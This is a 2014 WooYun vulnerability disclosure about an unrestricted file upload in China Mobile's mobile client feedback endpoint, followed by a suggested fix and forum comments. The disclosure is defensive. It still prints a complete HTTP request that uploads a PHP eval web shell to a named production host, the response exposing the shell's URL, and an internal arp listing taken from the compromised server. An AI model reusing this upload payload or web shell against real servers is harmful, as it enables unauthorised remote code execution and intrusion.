当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051605

漏洞标题：中国移动手机营业厅GetShell可获取（内网）服务器权限

相关厂商：中国移动

漏洞作者： loli

提交时间：2014-02-21 15:05

修复时间：2014-04-07 15:06

公开时间：2014-04-07 15:06

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-21： 细节已通知厂商并且等待厂商处理中
2014-02-26： 厂商已经确认，细节仅向厂商公开
2014-03-08： 细节向核心白帽子及相关领域专家公开
2014-03-18： 细节向普通白帽子公开
2014-03-28： 细节向实习白帽子公开
2014-04-07： 细节向公众公开

简要描述：

从前有个厂商，后来它不见了。。。

详细说明：

1.在10086官网上下载了个手机营业厅的Android客户端

http://www.10086.cn/cmccclient/andriod.html


android.jpg


2.客户端意见反馈处可上传图片，通过抓包进行提交发现可直接上传php脚本，服务端未进
行任何过滤。
POST请求：

POST /file.php HTTP/1.1
Content-Length: 244
Content-Type: multipart/form-data;
Host: clientdispatch.10086.cn:8080
Connection: closed
Accept-Encoding: gzip
--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
<?php @eval($_POST['xxxx']);?>
--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj--


返回响应包：

HTTP/1.1 200 OK
Server: nginx/1.4.4
Content-Type: text/html
Content-Length: 84
X-Powered-By: PHP/5.5.4
Connection: Keep-alive
Keep-Alive: timeout=15, max=100
Via: 1.1 ID-0001242737364450 uproxy-3
200|http://clientdispatch.10086.cn:8080https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/bc10ba96f9cxxxxxxxx951.php


3.获取到webshell，并且是内网.

[/]$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
10.248.13.54             ether   00:15:17:4e:25:da   C                     bond0
10.248.13.35             ether   00:00:0c:07:ac:01   C                     bond0
10.248.13.50             ether   e4:1f:13:80:a2:37   C                     bond0
10.248.13.48             ether   e4:1f:13:80:a5:c7   C                     bond0
10.248.13.43             ether   e4:1f:13:80:a9:d5   C                     bond0
10.248.13.45             ether   e4:1f:13:80:a9:2d   C                     bond0
10.248.13.55             ether   00:15:17:4e:24:7e   C                     bond0
10.248.13.49             ether   e4:1f:13:80:a7:35   C                     bond0
10.248.13.47             ether   e4:1f:13:80:a2:c7   C                     bond0


漏洞证明：

cmd.jpg

修复方案：

1.判断图片格式及完整性
2.限制upload目录执行php脚本程序
nginx.conf server处添加：
location ~ https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/.*.(php|php5)?$ {
deny all;
}

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-02-26 06:37

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-21 15:24 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    他就叫移动吗···

  2. 2014-02-21 15:38 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    因为什么不见了？因为移动了……我太TM机智了~

  3. 2014-02-21 16:14 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    我喜欢这个类型的站，支持洞主

  4. 2014-02-21 17:09 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    手里有向营业厅电脑挂马的洞，不知道该不该提交呢..

  5. 2014-02-21 17:10 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    因为什么不见了？因为移动了……我太TM机智了~

  6. 2014-02-21 17:50 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    因为什么不见了？因为移动了……我太TM机智了~

  7. 2014-04-07 15:27 | l0u1s ( 路人 | Rank:16 漏洞数:3 | 崇尚自由、开放、共享、简约。)

    因为什么不见了？因为移动了……我太TM机智了~

  8. 2014-04-08 02:52 | 小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀，春风吹又生呀...)

    因为什么不见了？因为移动了……我太TM机智了~

  9. 2014-04-08 08:15 | LeadUrLife ( 普通白帽子 | Rank:103 漏洞数:14 | 好好学习 天天向上)

    @MeirLin 是那个插件溢出嘛?

  10. 2014-04-08 22:19 | Honker红颜 ( 普通白帽子 | Rank:156 漏洞数:51 | 皖南人士,90后宅男,自学成才,天朝教育失败....)

    因为什么不见了？因为移动了……我太TM机智了~

  11. 2014-04-09 10:39 | plane636 ( 普通白帽子 | Rank:160 漏洞数:16 )

    因为什么不见了？因为移动了……我太TM机智了~